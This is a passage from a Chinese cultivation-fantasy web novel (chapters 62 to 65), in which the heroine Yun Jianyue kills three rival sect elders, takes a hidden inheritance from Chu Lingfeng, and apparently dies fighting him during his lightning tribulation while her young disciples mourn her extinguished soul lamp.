三位长老看着这一幕,浑身汗毛倒竖,一股寒意从脚底直冲天灵盖。 这……这是什么怪物? 杀人……原来可以如此……轻易……且……干净? 云见月抬眸,冰蓝色的目光扫过三人,语气平淡无波:“轮到你们了。” 风突然停了,只剩下灵力碰撞前的死寂,比之前的荒原更令人窒息。 第62章 以一敌三,优势在我 柳青冥化为冰屑的瞬间,三位赤炎宗长老如遭雷击。 死了……少主竟然死了。 进入秘境前,宗主千叮万嘱,务必护少主周全。 可这才进入秘境第一天,柳青冥就在他们眼皮子底下,被人轻描淡写地杀了。 等回了宗门,他们如何向宗主交代? “少主!”化神后期的红脸长老最先反应过来,双目赤红,骤然祭出长枪,枪尖腾起三尺烈焰,“云见月,你敢杀我赤炎宗少主,老夫要让你求生不得求死不能。” 他周身灵力暴涨,化神后期的威压如海啸般压向云见月,长枪一抖,数道火焰带着磅礴之势袭来。 云见月眸光清冷,吐出一个字,“凝。” 淡蓝色的寒气瞬间爆发,在她面前凝聚出一面厚重的巨大冰盾,火焰枪撞在冰盾上,发出“滋滋”的灼烧声。 “雕虫小技,给老夫破!”他全身烈焰轰然爆发,鲜红的火焰将冰盾震得粉碎,“不过是仗着冰系克制火系,真以为能赢老夫?” 他脱困而出,长枪猛地对准云见月,喷出一道水桶粗的火龙,所过之处,云见月凝聚的寒冰尽数融化,热浪滚滚,几乎要烤掉人一层皮。 云见月急忙躲开,但一缕青丝还是被热浪炙烤得卷曲,她闷哼一声,借着热浪的冲击力向后飞退,脸色苍白,气息也微微紊乱,仿佛已被重伤。 红脸长老眼中凶光一闪:“受死!” 他纵身追了上去,速度快如流星。 一旁观战的另外两位长老见状,心下稍安,下意识认为云见月已是强弩之末。 白脸老者冷笑:“云见月这下必死无疑,我们也算给宗主一个交代了。” 黄袍长老连连点头,两人竟真的站在原地,等着看云见月被斩杀。 他们没看到,飞退中的云见月唇角勾起一抹冰冷的弧度,朝着不远处一片被浓郁白色雾气笼罩的山谷急掠而去。 “想跑?杀了少主,天上地下都没你的活路,留下命来。”红脸长老杀意正浓,岂容她逃脱? 他周身烈焰再次暴涨,速度催发到极致,紧跟着冲入了那片雾气山谷。 以一敌三,云见月早就打算好要逐一击破。 观战未动的那两位长老的傲慢与轻敌,正中云见月下怀。 她要做的便是示敌以弱,诱敌深入。 等进入山谷腹地,云见月突然停下脚步,转身时,眼中已无半分狼狈,只剩冰冷的杀意。 雾气主要由无数微小的水滴和冰晶构成,而这,正是她冰灵力最好的载体和放大器。 这片浓雾山谷,就是她精心选择的猎场。 她双手结印,唇瓣无声开合:化针。 刹那间,淡蓝色的寒气与山谷中的雾气产生共鸣,雾气仿佛被无形之力牵引,凝聚、压缩,亿万水滴与冰晶在冰灵力催动下,化作幽蓝色的冰针,每一根都锋利无比,密密麻麻悬浮在空气中。 天上地下、四面八方、每一寸空间,密密麻麻,层层叠叠,将红脸长老彻底包围。 红脸长老脸上的狞笑瞬间僵死,转化为无边的骇然。 云见月并指如剑,对准他。 “去!” 咻咻咻咻咻—— 亿万冰针铺天盖地,遮天蔽日,如同银河倾泻而下。 红脸长老脸色剧变,连忙运转全身灵力,火焰在周身凝成一道护盾。 但冰针太多了,无穷无尽的冰针如同蚁群啃食堤坝,很快撕碎了火焰护盾。 冰针穿透了他的道袍、皮肤、肌肉、经脉、内脏、骨骼……他像一个脆弱的靶子,被来自四面八方的冰针疯狂洗礼。 最终,只来得及发出一声短暂而凄厉的惨叫,便彻底没了声息。 当冰针散去,原地只剩下一个血人,密密麻麻的针孔布满每一寸皮肤,鲜血顺着针孔汩汩流出,很快又被残余的寒气冻结成冰珠。 他保持着惊恐的表情,生机早已断绝。 这一切发生得太快,从云见月引敌入谷到冰针爆发,不过电光火石之间。 山谷外的白脸与黄袍长老听到惨叫,心头咯噔一沉。 “不好!”白脸长老脸色骤变,再也顾不得看戏,纵身冲入山谷,黄袍长老紧随其后。 “分开找!”白脸长老强作镇定,祭出赤色长刀,刀身腾起丈高烈焰。 他循着一丝冰灵力波动追去,转过一道山弯,果然看到云见月的身影。 “受死吧!”白脸长老怒吼着对着云见月一刀悍然劈下,刀光撕裂雾气,声势骇人。 云见月却不慌不忙,双手划出一道优美的弧线,身前瞬间凝结出一面厚实的冰盾。 轰—— 火焰刀光狠狠劈在冰盾之上,巨响震耳欲聋,冰盾剧烈震颤,却始终没有碎裂。 “你的火,不够旺。”云见月淡淡开口,冰盾化作无数冰棱,“而我的冰,足够冷。” 冰棱与周围的雾气再次融合,化作比之前更密集的冰针雨,朝着白脸长老射去。 白脸长老挥刀格挡,刀芒炽烈,却骇然发现这些冰针比想象中更加凝练冰冷,每一根都震得他手臂发麻,护体灵光迅速黯淡。 斩碎一批,更多的冰针已蜂拥而至,很快就突破了他的防御,刺得他浑身是伤。 云见月释放出冰灵力冻住了他的四肢,让他连躲避都做不到。 更多的冰针袭来,不消片刻,一切归于平静。 剩下的最后一位黄袍长老,接连听到两位同伴的惨叫,吓得灵力都滞涩了半分。 两位化神后期……都死了? 那云见月到底是什么怪物? 不是说她只是个追在楚凌风身后的花痴舔狗吗? 为什么实力会恐怖到这种地步? 以化神初期越级连杀两位后期?这在整个青云大陆的历史上都闻所未闻,堪称逆天。 逃!必须立刻逃!否则必死无疑! 他再无半点战意,惊恐地转身,只想以最快的速度逃离。 然而,他刚转过身,就感觉一股彻骨的寒意瞬间笼罩了全身。 云见月的身影如同鬼魅般,悄无声息地出现在他身后,仿佛从一开始就站在那里。 “我,找到你了。” 随着她的话语,指尖凝聚出一柄近乎透明的冰刃,毫不犹豫地刺入他的丹田气海之中。 “噗——” 黄袍长老瞪大双眼,丹田处的火焰灵力被冻结,全身灵力如潮水般溃散,软软地倒在地上。 “求你……放过我……”他用尽最后一丝气力挤出微弱的求饶,“我可以发誓,永远不与你为敌,也不会把你杀了少主的事告诉宗主……” 云见月居高临下地看着他,眼神淡漠得没有一丝波澜:“只有死人,才能永远保守秘密。” 话音落下的瞬间,寒气以肉眼可见的速度席卷,黄袍长老在惊恐的目光中被彻底冻结,所过之处,万物寂灭,冰封瞬间完成。 云见月轻轻挥袖。 嗡…… 笼罩山谷的坚冰,连同那三具形态各异的冰雕,化作漫天冰屑,散落间融入土壤,没有留下丝毫他们存在过的痕迹。 雾气散去,露出山谷原本郁郁葱葱的模样。 云见月无心欣赏山谷美景,飞身朝着秘境中心飞去。 ...... 幽暗的大殿内,墙壁上密密麻麻燃烧着代表宗门弟子和长老生命的魂灯。 突然! 最高处那盏代表着柳青冥的魂灯,猛地熄灭了。 守殿弟子愣了一下,随即瞳孔骤缩,连滚带爬地冲出大殿,声音凄厉得不似人声:“宗主不好了,少宗主……少宗主的魂灯……灭了。” 一道狂暴的身影几乎瞬间出现在魂灯殿内,柳沧澜双手死死攥住魂灯底座,身体剧烈颤抖,脸上先是难以置信,随即是无边无际的悲痛和暴怒。 “冥儿!我的冥儿!” “是谁?是谁杀了我的冥儿?三位长老呢?他们是废物吗?连个人都保护不好,本尊定要扒了他们的皮。” 仿佛是为了回应他的怒吼。 “噗”“噗”“噗”三声轻响,三盏长老魂灯竟接连熄灭。 柳沧澜的怒吼戛然而止,随即被更疯狂的愤怒取代。 四位化神,竟然全军覆没? 这才进入秘境的第一天。 到底是谁干的? “不管是谁,敢杀我儿和我赤炎宗三位化神长老,我定要将他碎尸万段,挫骨扬灰,让他神魂俱灭,永世不得超生——” ...... 云见月在前往秘境中心的路上,遇到了几波散修。 他们大多眼神警惕,看到她时只是淡淡扫了一眼,便匆匆避开。 云见月心中了然。 这些散修深知秘境凶险,与其浪费力气争斗,不如专注寻找机缘。 她不再耽搁,将速度催发到极致,身影如流星般划破天际。 那本体修功法是楚凌风的重要机缘,绝不能让他先得手。 一个时辰后,云见月抵达了秘境中心的最外围——灵墟之森。 灵墟之森,是隔绝秘境中心与外面世界的死亡屏障。 仅仅是站在边缘,就能感受到里面传来的无数道凶戾强大的气息。 参天古木遮天蔽日,藤蔓如同巨蟒般缠绕,地面是厚厚的、腐烂的落叶层,散发出潮湿闷热的气息。 肉眼可见的毒虫在腐叶中蠕动,拇指粗的蚂蟥悬挂在叶片背面,拳头大小的诡异蚊虫发出令人心烦意乱的嗡嗡声,色彩斑斓的毒蛇在树枝间悄无声息地游走…… 这里的妖兽数以亿计,全都达到了化神期,却仿佛没有开启灵智,眼中只有原始的凶性,任何活物进入,都会被视作猎物。 数万年来,从未有人能活着穿过这片森林,一旦引发兽潮,便是十死无生。 第63章 小白的精血,能够镇压妖兽 硬闯绝无可能,数以亿计的化神期妖兽,耗也能把她耗死。 云见月深吸一口气,压下心中的悸动,从储物袋里掏出一个透明玻璃瓶。 瓶中,只有一滴殷红的血液,却仿佛有生命般缓缓流转,散发着淡淡的无比尊贵威严的气息。 这不是普通的血,而是小白的精血。 小白身为天之四灵的白虎神兽,对除青龙、朱雀、玄武外的所有妖兽,都有着绝对的血脉压制。 当初青璃虽是元婴期大妖,见到幼崽小白时都吓得直接现出原形,便是源于这种刻在骨子里的敬畏。 原本,她是打算把小白直接放入灵兽袋,抱进秘境的。 可考虑到秘境凶险,万一自己出了意外,小白要么落入秘境不得出,要么被别人抢走。 思虑再三,她还是将小白留在了宗门,只取了小白的一滴精血。 若自己真出了意外,等小白长大还能继续护着孩子们。 “小白,这次就靠你了。”云见月将玻璃瓶挂在腰间,毅然迈步踏入灵墟之森。 就在她踏入的瞬间—— 嘶嘶! 嗡嗡! 嗬嗬! 整个森林“活”了过来。 无数道冰冷、饥饿的目光盯上了她。 地面的虫子、草叶的蚂蟥、空中的蚊子、树上的毒蛇……所有妖兽都朝着她涌来,黑压压的一片,仿佛要将她生吞活剥。 云见月瞬间头皮发麻,全身灵力本能地疯狂运转,冰霜开始在她周身凝结。 最先靠近的几只蚊子在距她三尺处突然停滞,翅膀剧烈颤抖,随即像被无形的手拍飞,仓皇逃窜; 地面的虫子纷纷调转方向,钻进腐叶深处不敢露头; 树上的毒蛇更是“啪嗒”掉在地上,身体蜷缩成一团,瑟瑟发抖,连抬头的勇气都没有。 小白精血散发出一股无形无质、却凌驾于万物之上的血脉压制之力,将所有妖兽的凶性全部碾碎。 以云见月为中心,方圆十数丈内,所有妖兽无论大小,全都匍匐在地,或僵直不动,或瑟瑟发抖,眼中充满了最原始的恐惧,再也没有丝毫攻击的欲望。 云见月高高悬起的心终于落下,背后惊出一层冷汗。 还好,小白的精血果然有用。 她不再犹豫,身形化作一道流光,沿着妖兽们“让”出的道路,向着森林深处急速掠去。 所过之处,万兽蛰伏,目送离去。 那场面,诡异而震撼。 若被外人见到,定然惊掉下巴,以为这令人闻风丧胆的灵墟之森,变成了人畜无害的宠物乐园。 半个时辰后,眼前的视野豁然开朗。 浓郁到难以想象的灵气扑面而来。 每一次呼吸,都感觉无数精纯的灵气在经脉中疯狂奔涌,几乎不需要炼化就能化为己用,舒畅得让人想要呻吟。 眼前是一片宛如仙境的土地,在外界爵迹甚至有价无市的千年灵草成片的铺开。 其中几株散发着紫金霞光的植物尤为夺目,竟是炼制天阶极品大还丹的核心药材——还阳草。 云见月一眼认出,更令她心中剧震的是,还阳草是完全成熟的。 这些还阳草已结出紫金果实,万年份的还阳果,无需炼制便能生死人肉白骨,比郁长林求而不得的还阳草珍贵千百倍。 除此之外,她还看到了流淌着七彩霞光的灵泉以及许多连她都叫不出名字,但一看就知绝非凡品的奇异灵植。 这里简直就是一座未经发掘的洪荒宝库。 饶是云见月心志坚定,此刻也激动得心跳加速。 她强行压下了立刻把这里全部采摘干净的冲动,只把那几颗还阳果摘了下来,放入储物袋。 楚凌风作为天选之子,不是那么容易对付的。 她做好了和对方拼命的准备。 届时,万一自己打不过,或被对方打死,有了这还阳果,自己或许还有一线生机。 她扬手,丢进嘴里一颗,甜甜脆脆的,口感有点像大枣。 “功法要紧,必须先找到体修功法,绝不能让楚凌风得手。” 根据原著记录,那功法并不在这些裸露的宝地,而是位于中心区域一处相对隐蔽的洞府内,那处洞府就是秘境之境,是秘境的核心所在。 云见月循着记忆中的方向飞去,终于看到了书中写到的一处被奇异藤蔓半遮掩的山壁前。 她拨开藤蔓,后面竟是一个仅容一人通过的狭窄洞口。 穿过短短的山洞,眼前是一个天然溶洞。 溶洞中央,有一处灵泉池。 五光十色的灵泉将整个洞府照射的波光粼粼,也映出了洞府顶部那道如同星子般闪烁的传承。 而就在灵泉旁,站着一个人。 一身青色劲装,身姿挺拔,不是楚凌风又是谁? 他脸上带着难以抑制的激动和志在必得的笑容,正伸出手,释放出灵力打算捕捉那道传承。 千钧一发之时。 云见月身体蓝光乍现,整个洞府骤然降温,寒潮瞬息涌至,极致的寒意让楚凌风周身灵力一滞,动作不由得慢了半分。 云见月灵力幻化成一只冰手,快如闪电般抓住那道传承,不等楚凌风挣脱冰封,已将其注入玉简之中。 这一系列变故,只发生在一瞬间。 等楚凌风反应过来时,体修功法传承,已经是云见月的囊中之物。 楚凌风猛地回头,当看到来人竟是云见月时,眼中爆发出极度的震惊。 “云见月?怎么会是你?你怎么可能来到这里?” 震惊过后,便是自以为是的了然,“怎么?又想用这种拙劣的方式引起我的注意?” 他上下打量着云见月,眼神无奈中带着轻蔑:“欲擒故纵的把戏,玩一次是情趣,玩多了就令人厌烦了。” 他伸出手:“好了,我不想和你废话,把传承给我吧,这次我就不和你计较了,但仅此一次。” 云见月:“......” 看着他这副普信男的嘴脸,她胃里一阵翻涌,连刚吃的还阳果都差点吐出来。 楚凌风明显有些不耐烦了:“快点给我啊,还傻愣着干什么?” 云见月只觉得荒谬又可笑,不由得讥讽: “楚凌风,你是不是觉得全天下的女人都该围着你转?” 楚凌风挑眉,理所当然道:“不然呢?像你这样一次次出现在我面前,不是想引起我的注意,难道是巧合?” 他语气带着施舍,“我知道,你以前追在我身后时,我对你冷淡了些。但现在把传承给我,我可以当之前的事没发生过,甚至可以考虑给你一个留在我身边的机会。” 云见月看笑话一般看着他:“你怕不是秘境的灵气吸多了,把脑子吸坏了?” 楚凌风伸出两只手做投降状。 “好好好,你说什么就是什么总行了吧?你表现的这般与众不同,不就是想让我更深刻地记住你,证明你在我心中的特殊性吗? 你越是骂得狠,越是证明你心里有我,怕被我忽视。 好了,别闹了,这传承于我大道有益,你乖乖让与我,之前你说的这些话,我都可以不计较。” 云见月对听不懂人话的人彻底失去了耐心。 传承功法到手,她也没必要继续和楚凌风浪费唇舌,转身就往洞外走。 楚凌风脸上的轻蔑和假笑终于彻底消失,取而代之的是阴沉如水、几乎要喷出火来的震怒。 “云见月,你不要给脸不要脸。” 这时,云见月已经出了洞府,她准备躲到灵墟之森里面去,反正自己有小白的精血,那些妖兽不会靠近她。 楚凌风就不一样了,他是绝对不敢进入灵墟之森的。 云见月打定好主意,刚要朝着灵墟之森的方向飞去,楚凌风骤然拦在她面前。 他脸色阴沉得能滴出水来。 “云见月,我最后给你一次机会,把传承功法交出来,不要挑战我的耐心,不要让我真的生气。” “有病。”云见月懒得跟他废话,侧身就想绕开。 “云!见!月!”楚凌风暴怒,周身灵力涌动,“既然你敬酒不吃吃罚酒,那就别怪我心狠手辣了,杀了你,功法自然还是我的。” 他之所以啰嗦这么久,并非顾念旧情或不舍,而是上次在玄天宗山门前,他化神后期竟没能秒杀化神初期的云见月,反而打成平手,这让他心头始终萦绕着一丝忌惮。 硬拼之下,很可能两败俱伤,在这危机四伏的秘境绝非上策。 他这才采取了动之以情晓之以理的办法。 可对方油盐不进,他只能痛下杀手了。 楚凌风不再犹豫,双手结印,率先发难。 金色灵力化作漫天的剑雨,撕裂空气,呼啸而至。 地面褐色光芒涌动,无数巨大的、布满尖刺的石笋破土而出,封堵云见月所有退路。 绿色的藤蔓如同活过来的毒蟒,从四面八方缠绕而来。 红色的烈焰凭空而生,化作一条咆哮的火龙,带着焚尽万物的高温。 蓝色的激流形成巨大的水牢,从头顶压下。 金木水火土五灵根齐出,灵力交织成一张天罗地网,将云见月死死困在中央。 云见月瞳孔骤缩,只能全力催动冰灵力。 呼啸的金色剑雨被冻结在半空。 石笋覆盖上厚厚的冰层,行动变得迟缓。 毒藤被冻得僵硬脆弱,寸寸断裂。 火龙与极致寒冰疯狂对耗,蒸腾起漫天白雾,威力大减。 水牢更是直接被冻结成了冰坨。 冰与火的对抗,极寒与五行的碰撞,能量冲击波将地面刮掉厚厚一层,光芒闪耀,轰鸣不断。 第64章 云见月和楚凌风,不是你死就是我亡 云见月将冰系法则运用到了极限,身影在有限的空間内艰难闪避格挡,冰盾不断凝聚又不断被狂暴的五行之力击碎。 剑气、碎石、火星、冰屑四处飞溅。 她终究是以一敌五,修为又落后两个小境界,即便根基雄厚,也逐渐落入下风。 嗤啦! 一道金色剑气划破她的手臂,带出一溜血花。 砰! 一块被震飞的碎石狠狠撞在她的后背,让她喉头一甜。 高温燎焦了她的发梢,水压震得她气血翻腾…… 楚凌风的五灵根配合默契,每一次攻击都蕴含着五种灵力的共振,威力远超单一灵根。 随着时间的推移,云见月身上的伤痕越来越多,白衣染上了点点殷红,气息也开始紊乱。 可即便如此,云见月依旧强撑着,与楚凌风足足耗了一个时辰之久。 这么长时间都没能杀了云见月,楚凌风体内的灵力都要耗尽了。 楚凌风越打越是心惊,越是烦躁。 他堂堂化神后期,动用五灵根竟迟迟杀不了一个化神初期?传出去简直是奇耻大辱。 “云见月,今天无论付出什么代价,我都要杀了你!”楚凌风愤怒得几乎失去理智。 他眼中闪过一抹疯狂,猛地从储物袋里掏出了玄玉参王,毫不犹豫地将其吞了下去。 刹那间,磅礴的灵力如海啸般在他体内爆发,竟硬生生冲破了化神后期的壁垒,朝着炼虚境疯狂冲击。 天空之上,乌云汇聚,紫黑色的劫云翻滚不休,无数雷霆在云层中闪烁,散发出令人心悸的威压。 炼虚境雷劫,降临! 云见月抬头望天,脸色瞬间惨白如纸。 炼虚境的雷劫威力无穷,楚凌风在此时突破,显然是想借雷劫之力杀她。 一旦被天雷波及,她化神初期的修为,九死一生。 必须立刻逃走。 她强行压下伤势,化作流光就想冲向灵墟之森。 “想跑?晚了!”楚凌风面目狰狞,他虽然正处于突破的边缘,但力量已然暴涨。 他抬手一挥,无数粗壮的青黑色藤蔓如同地狱伸出的触手,瞬间缠住了云见月的脚踝、腰肢、手臂。 任她如何挣扎,寒气如何冻结,那些藤蔓都坚韧无比,并且源源不断。 楚凌风拉着被藤蔓捆缚的云见月,一同冲天而起,主动迎向那翻滚的劫云。 他竟是要用云见月作为人肉盾牌,替他抵挡天雷。 云见月拼命催动灵力,试图冻结青藤,可楚凌风此刻的灵力已无限接近炼虚境,青藤上泛着淡淡的金光,竟能抵御寒气。 楚凌风空出的另一只手猛地向下一按。 轰隆隆! 大地震颤,周围的泥土岩石如同拥有生命般拔地而起,凝聚成一座巨大的将她彻底困死的岩石囚笼。 同时,漫天金色灵剑再次浮现,万剑齐刷刷对准了被困在岩石囚笼和藤蔓中的云见月。 “这第一道天雷,就用你的命来祭!”楚凌风狞笑着。 下一刻。 万剑齐发,射向云见月。 与此同时,一道直径足有水桶粗细、仿佛连接了天与地的恐怖天雷,撕裂苍穹,朝着楚凌风和云见月,狠狠劈下。 天地间一片炽白。 毁灭的能量淹没了一切。 云见月眼中倒映着无尽的剑光和无匹的雷光,她拼尽最后的力量凝聚出厚厚的冰甲。 但…… 嗤嗤嗤嗤—— 冰甲在万剑和天雷的双重打击下瞬间破碎,无数剑刃穿透了她的身体,带出大片的血雾。 而那恐怖的天雷之力,更是毫无保留地灌入她的体内,疯狂破坏着她的经脉、丹田、脏腑...... “呃啊——” 一声凄厉到极致的惨叫淹没在雷霆的轰鸣中。 雷光散去。 云见月如同破布娃娃,浑身焦黑,布满剑孔,鲜血淋漓,从高空中直直坠落,狠狠砸在下方已经一片狼藉的地面上。 “噗——” 她猛地喷出大口夹杂着内脏碎块的鲜血,七窍都在流血,全身骨头不知断了多少,经脉寸寸碎裂,体内灵力濒临溃散。 她连一根手指都动不了,意识正在快速模糊。 天空之上,硬扛了部分天雷余波、同样有些狼狈的楚凌风,看着下方凄惨无比的云见月,脸上露出扭曲得意的笑容。 “云见月,落到这步田地,都是你自找的。” 轰隆隆! 天空之上,第二道更加粗壮恐怖的天雷正在酝酿。 楚凌风眼中狠光一闪,再次朝着地上奄奄一息的云见月俯冲而下。 “反正你迟早都是死,不如就发挥最后的价值,再帮我挡下这第二道天雷吧。” 死亡的气息扑面而来。 云见月看着那张越来越近的狰狞的脸,眼中闪过一丝绝望,但更多的是一种强烈到极致的不甘和思念。 她用尽最后一丝残存的意识,艰难地沟通了储物袋。 就在楚凌风即将触碰到她的前一刻。 郁仙特意为她炼制的“九转涅槃丹”被她塞入了口中。 丹药入口即化。 嗡—— 一股无法形容的温暖席卷了她的四肢百骸。 那些断裂的骨头、破碎的内脏、寸断的经脉,都疯狂修复完好。 在楚凌风惊愕的目光中,本该必死的云见月猛地睁开了眼睛,飞身躲开。 “我到了炼虚境,你以为还能跑得掉?”楚凌风虽惊不乱,他现在已是半步炼虚。 青藤再次闪电般射出。 实力差距太大了,刚刚恢复的云见月根本无法躲避,再次被捆得结结实实。 楚凌风拽着她,再次冲天而起,迎向那即将落下的第二道毁灭天雷。 完了。 这一次,真的再无侥幸了。 云见月抬起头,看着那越来越近仿佛要吞噬一切的雷光,脑海中,不受控制地浮现出五个小家伙可爱的笑脸。 渺渺扑进她怀里撒娇,奶声奶气地喊“师尊”。 闻声捧着刚炼好的爆灵雷,眼神亮晶晶地等她夸奖。 阿雾手拿凝霜剑一下一下认真砍木桩,挥汗如雨的样子。 萧星尘红着眼睛落泪,问她自己是不是废物,该不该去给爷爷过寿的委屈。 仙儿从怯懦到开朗,慢慢的会缠着她撒娇,要听睡前故事。 还有那个总是瘫在摇椅里,嘴欠又自恋,却会在最关键时候给出最坚实承诺的虞青焰,虞大美人。 “放心去,有我在,天塌下来也砸不到他们一根头发。” 原来,她早已不是孤身一人。 真的好舍不得...... 她不是一个爱哭的人,修炼再苦再难,受伤再重再疼,她都很少流泪。 可这一刻,巨大的不舍和悲伤如同潮水般淹没了她。 滚烫的、混合着鲜血的泪水,从眼角滑落,在焦黑的脸颊上冲出两道清晰的痕迹。 孩子们,能成为你们的师尊,是我云见月此生最大的幸运和骄傲。 虞青焰,你要说话算话,一定要护好他们。 再见了...... 所有的挣扎和不甘,在这一刻化为了一种极致平静的决绝。 她抬起那双流着血泪、却异常清澈坚定的眸子,看向近在咫尺、正全力准备迎接天雷的楚凌风,嘴角甚至勾起了一抹诡异而凄美的弧度。 在楚凌风察觉到不对,惊愕转头的瞬间。 云见月从储物袋中掏出了爆灵雷。 然后,她用尽全身力气,猛地挣脱了藤蔓的些许束缚,死死抱住了楚凌风。 “要死,一起死。” 她引爆了爆灵雷。 毁灭的光芒瞬间吞噬了两人紧贴的身影。 “轰——!!!” 堪比化神后期自爆的恐怖冲击波在雷劫下炸开。 云见月能感觉到右臂的血肉在瞬间蒸发,骨头摩擦的剧痛被爆炸的轰鸣淹没,耳边最后响起的,是楚凌风惊怒交加的嘶吼,和自己心中那句对孩子们无声的‘再见’。 她如同一个破败的血袋,从爆炸的中心被狠狠抛飞出来,重重坠入下方那波光粼粼的灵泉之中,溅起大片水花,很快便沉入水底…… 水中,大片殷红,缓缓弥漫开来。 而她腰间那个挂着小白精血的琉璃瓶,在爆炸中也被震飞,摔在碎石上“啪”地一声碎裂开来。 那滴殷红的神兽精血,在漫天尚未散去的雷光映照下,闪烁着奇异的光芒,仿佛一道无声的号令—— “吼——” “嗷——” “嘶——” 灵墟之森内,数以亿计的妖兽突然躁动起来。 大地开始震动,下一刻,妖兽赤红着双眼,从森林中疯狂涌出,如黑色潮水般冲向天空中的楚凌风。 楚凌风悬浮在半空,模样凄惨到了极点。 双臂齐肩而断,伤口焦黑一片。 全身衣衫尽碎,布满深可见骨的伤口,成了一个真正的血人。 但他竟然还没死。 在他胸口,一枚雕刻着玄奥符文的玉佩彻底碎裂开来,正是这枚能抵挡化神后期全力一击的保命玉佩,在最后关头替他承受了爆灵雷绝大部分的伤害,救了他一命。 然而,还不等他喘一口气,第二道天雷已然劈下。 同时,无数化神期妖兽组成的兽潮,也咆哮着向他发起了攻击。 玄天宗。 五个孩子今天出奇地安静,都有些心神不宁。 苏渺渺甚至不小心打碎了一个杯子,看着碎片,眼圈突然就红了:“我…我突然好想师尊……” 其他几个孩子也默默点头,一种不安的情绪在他们中间蔓延。 突然,魂灯殿内,属于云见月那盏魂灯“噗”的一声,灭了。 孩子们似有所感,猛地向魂灯殿的方向看去。 第65章 云见月的魂灯灭了,孩子们悲痛欲绝 他们猛地从原地弹起,不管不顾的朝着魂灯殿的方向冲去。 心口那股莫名的恐慌越来越浓,像有无数只蚂蚁在爬,他们不敢想原因,只知道必须立刻赶到魂灯殿,那里有他们最在意的人的气息。 “砰——!” 魂灯殿沉重的殿门被萧星尘用力推开,撞在两侧墙壁上。 殿内光线昏暗,弥漫着淡淡的香火和一种陈旧的空寂感。 映入眼帘的,是层层叠叠、密密麻麻的魂灯架子。 从上至下,绝大部分魂灯都是熄灭的。 从玄天宗建宗老祖,到云见月的父亲,每一任宗主的魂灯的灯芯早已成灰,透着亘古的死寂。 他们的目光慌乱地扫过那孤零零地燃烧着的六盏魂灯。 五盏属于他们自己的,莹白的光跳动着,微弱却安稳。 另一盏是青璃的。 云见月说过,青璃入了玄天宗,就是自家人,该有一盏属于她的魂灯。 最终,五人的目光齐齐地定格在了最中间那盏,本该最亮的属于云见月的魂灯上。 此刻,它灭了。 漆黑的灯芯上还冒着一缕极淡的青烟,缭绕着,飘散着,证明着它熄灭得并不久。 孩子们的瞳孔在瞬间骤然收缩到极致,仿佛有一柄重锤,狠狠砸在了他们的心口上。 痛! 无法呼吸的剧痛! 萧星尘只觉得天旋地转,脚步一个踉跄,几乎站立不稳。 鹿闻声像是被抽干了所有力气,跌跌撞撞地后退两步,撞在门框上。 郁仙身子一软,直接跌坐在地,双眼失焦地望着那漆黑的灯盏,小脸煞白如纸。 江迷雾和苏渺渺的眼眶瞬间红了,巨大的恐慌淹没了他们。 “师……师尊……”苏渺渺的声音细得像要断了,大眼睛里瞬间蓄满了泪水,下一秒就“哇”地一声哭出来。 她跌跌撞撞地爬到供桌前,小手死死扒着桌沿,仰着满是泪痕的小脸,望着那盏黑灯,“你怎么不亮了……师尊你醒醒啊……” “不会的……不会的,师尊说过会回来的......”江迷雾的声音带着哭腔,用力摇头。 萧星尘“噗通”一声重重跪在地上,膝行到供桌前,他死死盯着那盏灯,肩膀剧烈地耸动着,哭得喘不上气,像是有块巨石压在胸口。 “怪我……都怪我,是我害死了师尊。”他用力捶打着自己的丹田,声音破碎不堪,“要不是为了给我找体修功法,师尊根本不会冒险进入灵墟秘境。 我就是个不能修炼的废物,还连累师尊……”他将所有的过错都揽到自己身上,自卑和痛苦在这一刻达到了顶点。 “别人都能修炼,为什么就我不能修炼,师尊,我不要修炼了,我只要你回来......”他的声音变成了泣不成声的呜咽。 “不!怪我!”鹿闻声一把抓住萧星尘的手,不让他再自虐,自己的眼泪却先掉了下来,“是我没用,我没给师尊炼出更好的武器,要是我能多炼些爆灵雷,要是我能炼出核弹……如果我再厉害一点……” 他哽咽着,再也说不下去,脑海里全是师尊温柔地夸他是“炼器小天才”,宠溺地揉他的头发,笑着亲他脸蛋的画面。 师尊毫不吝啬的鼓励“你未来一定能炼制出宝器、灵器甚至是道器,仙器和神器也不是不可能”言犹在耳。 那是他第一次感受到毫无保留的信任和关爱。 可现在…… “师尊,徒儿辜负了您的信任,是我太没用了……” “怪我,都怪我。”郁仙整张小脸早已被泪水浸透,她坐在地上,小小的肩膀不住地颤抖。 “都是我炼制的丹药不够好,要是我能炼制出更好的丹药,师尊吃下去就没事了……都是我不好……” 她想起师尊信任的眼神,想起师尊在她被药仙谷欺负时挺身而出的身影,想起师尊为了给她报仇专门针对药仙谷,运筹帷幄的样子。 师尊是这个世界上,唯一一个给她满满关爱的人。 会给她买新衣服,会让她吃的饱饱的,会记得她的生辰,会为她做独一无二的生日蛋糕。 郁仙抱住膝盖,把脸埋进去,哭声像被堵住的风箱,每一声都带着抽气的颤抖。 “师尊,仙儿好想你,你不要有事好不好?求求你快回来……仙儿再也不偷懒了,我一定努力炼丹,炼好多好多最好的丹药给师尊……” 苏渺渺哭得最凶,她趴在供桌上,小手拍打着冰冷的桌面:“师尊说过,渺渺的祝福最灵验,可是为什么……为什么祝福了师尊,灯还是灭了……” 她猛地捶打自己的头,“是渺渺没用,我不是福星,我是灾星,师尊你不要走,渺渺会听话的……呜呜呜……师尊……渺渺要师尊……” 江迷雾用力抹了一把眼泪,声音沙哑却带着倔强:“师兄、师姐和小师妹,你们至少都能为师尊做些事,炼器、炼丹、祝福,我有什么?” “师尊说我是天生剑骨,未来一定能成为剑修,可我学了这么久,却什么也帮不上,师尊在最危险的时候,我这把剑一点用都没有,都是我的错!” 五个孩子的哭声,在这供奉着宗门历代灵魂寂灭之所的大殿内,刮擦着冰冷的空气。 他们或跪伏、或瘫坐、或蜷缩在供桌下,把所有的错都揽在自己身上,用最笨拙的方式表达着绝望,他们想不通,那个无所不能的师尊,怎么就这样消失了? 虞青焰找到魂灯殿时,殿门大敞着,冷风灌进去,吹动着无数盏早已熄灭的灯芯。 他面无表情地站在殿门口,逆着外面泄入的些许天光,目光扫过殿内昏幽的光线和哭得几乎脱力的五个孩子,最终定格在云见月的魂灯上。 殿内的哭声仿佛瞬间被拉远、模糊,他的世界里只剩下那盏漆黑的灯,以及灯芯上那一缕将散未散的刺目的青烟。 他见过太多死亡,血腥战场也好,道消身殒也罢,不过是天道循环,寻常至极。 可此刻,那双总是含着几分慵懒、几分不羁、几分对万事漠然的桃花眼深处,似乎有什么东西悄悄碎裂了。 